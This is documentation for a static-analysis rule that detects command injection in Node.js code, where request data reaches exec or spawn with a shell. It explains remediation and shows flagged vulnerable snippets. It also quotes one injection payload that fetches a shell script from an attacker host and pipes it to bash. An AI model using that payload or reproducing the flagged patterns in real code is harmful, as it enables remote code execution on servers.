VNX-NODE-013 – Node.js Command Injection via child_process
Overview
This rule detects cases where user-supplied request data (req.* or request.*) is passed directly to exec(), execSync(), or the fully qualified child_process.exec() / child_process.execSync(). It also detects template literal interpolation in those calls (exec(`...${...}`)). While VNX-NODE-003 catches dangerous string construction patterns, this rule focuses specifically on direct user-input injection — the most immediately exploitable form of command injection. This is CWE-78 (Improper Neutralization of Special Elements used in an OS Command).
Severity: Critical | CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command
Why This Matters
When user input flows directly into exec(), an attacker only needs to include a shell metacharacter to inject additional commands. A value like ; curl https://attacker.com/shell.sh | bash appended to any command gives the attacker an interactive reverse shell running as the Node.js process user. There is no escaping function that reliably prevents this — the only safe approach is to avoid exec() with user data entirely.
The critical severity reflects that exploitation requires no special conditions or privileges: a single HTTP request with a crafted parameter is sufficient. Real-world exploits of this pattern are common against utilities that wrap CLI tools: file conversion, image processing, email sending, git operations, reporting, and any feature that shells out to a system command.
What Gets Flagged
The command string (or the sh -c script) must come from the request, on the same line or through a variable assigned from it a few lines above, and the call must resolve to a shell-running API.
// FLAGGED
exec('ping -c 1 ' + req.query.host, cb);
const out = execSync(`git log --oneline ${req.body.ref}`);
child_process.exec(req.body.cmd, cb);
// FLAGGED: two lines
const { file } = req.query;
cp.exec(`convert ${file} -resize 64x64 thumb.png`, cb);
// FLAGGED: spawn through a shell
spawn(`tar -xf ${req.body.archive}`, { shell: true });
spawnSync('sh', ['-c', 'echo ' + req.query.msg]);
Not flagged: execFile('ping', ['-c', '1', host]) and spawn('git', ['log', ref]) (no shell), exec('ls -la ' + quote([dir])), constant commands, and RegExp.exec/db.exec. VNX-NODE-003 reports exec/execSync with any run-time command string.
Remediation
Use
execFilewith an argument array instead ofexecwith a shell string.execFiledoes not spawn a shell — it executes the binary directly with arguments passed as separate items, so metacharacters are never interpreted:// SAFE: execFile — no shell, arguments are literal strings const { execFile } = require('child_process'); app.get('/ping', (req, res) => { // Validate the host format first const hostPattern = /^[a-zA-Z0-9.\-]+$/; if (!hostPattern.test(req.query.host)) { return res.status(400).json({ error: 'Invalid host' }); } execFile('ping', ['-c', '1', req.query.host], { timeout: 5000 }, (err, stdout) => { if (err) return res.status(500).json({ error: 'Ping failed' }); res.send(stdout); }); });Use
spawnwithshell: false(the default) for streaming output:// SAFE: spawn without shell — arguments are not interpreted by /bin/sh const { spawn } = require('child_process'); app.get('/convert', (req, res) => { const safe = /^[a-zA-Z0-9_\-]+\.(jpg|png|gif)$/.test(req.query.file) ? req.query.file : null; if (!safe) return res.status(400).send('Invalid file'); const proc = spawn('convert', [safe, 'output.png']); proc.stdout.pipe(res); });Replace shell commands with native Node.js libraries wherever possible. This eliminates the OS command surface entirely:
- Image processing: use
sharpinstead of ImageMagick - Archive creation: use
archiverinstead ofzip - Git operations: use
simple-gitorisomorphic-git - Network diagnostics: use Node.js
dnsandnetmodules
- Image processing: use
Apply strict input validation before any command execution. Reject inputs that do not match an explicit allowlist pattern (regex, enum, numeric range). Fail closed — if the value doesn’t match, reject the request entirely.
Run the process with minimal OS privileges. Use Linux user namespaces, Docker
--cap-drop=ALL, or seccomp profiles to restrict what commands the process can spawn.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CAPEC-88: OS Command Injection
- Node.js child_process.execFile documentation
- OWASP Command Injection Defense Cheat Sheet
- OWASP Node.js Security Cheat Sheet
- sharp – high-performance Node.js image processing
- MITRE ATT&CK T1059 – Command and Scripting Interpreter